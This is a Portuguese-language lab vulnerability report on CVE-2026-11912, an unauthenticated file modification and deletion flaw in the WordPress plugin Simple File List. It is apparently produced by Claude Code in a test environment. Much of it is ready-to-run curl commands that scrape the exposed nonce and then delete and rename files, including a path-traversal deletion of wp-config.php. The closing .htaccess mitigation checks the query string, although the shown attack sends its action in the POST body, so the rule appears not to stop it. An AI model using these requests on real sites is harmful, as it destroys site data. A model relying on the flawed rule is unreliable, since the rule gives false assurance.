
Falta de Autorização para Modificação de Arquivos Não Autenticada
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-11912 |
| Pontuação CVSS | 7.5 (Alta) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Plugin Afetado | Simple File List |
| Versões Afetadas | <= 6.3.7 |
| Versão Corrigida | 6.3.8 |
| Publicado | 19 de Junho de 2026 |
| Pesquisador | Chloe Chamberland - Wordfence |
| Ambiente de Laboratório | poloss-lab.ddev.site (DDEV) |
O plugin Simple File List para WordPress é vulnerável a modificação arbitrária de arquivos devido a verificações de autorização insuficientes em todas as versões até, e incluindo, a 6.3.7. Isso possibilita que atacantes não autenticados excluam e modifiquem arquivos no servidor.
A vulnerabilidade existe porque:
Registro de Endpoint AJAX: A ação AJAX simplefilelist_edit_job é registrada com ambos os hooks wp_ajax_ e wp_ajax_nopriv_, permitindo acesso não autenticado:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
Verificação de Autorização Falha: A lógica de autorização em eeSFL_FileEditor() (linha 1265) usa:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
A função is_admin() retorna FALSE para requisições AJAX, fazendo com que a verificação de autorização seja interrompida antes que a configuração AllowFrontManage seja avaliada.
Exposição do Nonce: O nonce de segurança (eeSFL_ActionNonce) é gerado usando wp_create_nonce() e exposto no código-fonte HTML do frontend, permitindo que atacantes o extraiam sem autenticação.
Durante os testes, essa vulnerabilidade foi explorada com sucesso para EXCLUIR o arquivo de configuração do WordPress (wp-config.php), quebrando completamente o site. Isso demonstra a gravidade crítica do aspecto de path traversal dessa vulnerabilidade.
# Obter o nonce de segurança da página de listagem de arquivos
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Saída: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Resposta: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Resposta: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Resposta: SUCCESS (CRÍTICO - Isso quebra o site!)
[eeSFL]# Bloquear chamadas AJAX simplefilelist_edit_job
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Relatório gerado por Claude Code - Laboratório de Testes de Segurança WordPress Data: 20 de Junho de 2026